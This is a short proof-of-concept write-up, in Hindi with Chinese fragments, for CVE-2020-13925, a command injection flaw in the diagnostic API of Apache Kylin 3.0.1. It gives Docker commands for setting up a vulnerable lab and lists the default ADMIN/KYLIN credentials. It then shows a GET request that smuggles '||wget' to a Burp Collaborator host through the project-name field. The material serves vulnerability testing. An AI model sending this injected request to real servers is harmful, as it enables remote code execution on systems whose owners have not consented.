
CVE-2020-13925 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Apache Kylin के डायग्नोस्टिक API में एक कमांड इंजेक्शन भेद्यता, जो क्राफ्टेड प्रोजेक्ट नामों के माध्यम से रिमोट कोड एक्ज़ीक्यूशन की अनुमति देती है।
संदर्भ के लिए https://github.com/apache/kylin देखें, Docker का उपयोग करके पर्यावरण की तैनाती करें, और उसमें संस्करण को 3.0.1 (कमजोरी वाला संस्करण) में बदलें। आप 【-m 8G \ 】 को हटा सकते हैं; इसका कार्य मेमोरी का आकार आवंटित करना है।
फिर http://host:7070/kylin/login पर जाएँ। प्रारंभिक उपयोगकर्ता नाम और पासवर्ड ADMIN/KYLIN है।
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
原始请求:
http://host:port/kylin/api/diag/project/learn_kylin/download
PoC请求,GET方法:
http://host:port/kylin/api/diag/project/%7c%7cwget%20h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net%7c%7c/download
即将项目名称“learn_kylin”替换为如下payload访问即可:
||wget h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net||
System-Configuration-Diagnosis पर जाएँ। डायग्नोस्टिक जानकारी डाउनलोड करने के लिए अनुरोध ट्रिगर करें http://host:port/kylin/api/diag/project/learn_kylin/download

अर्थात्, प्रोजेक्ट नाम "learn_kylin" को उपरोक्त payload से बदलकर एक्सेस करें।
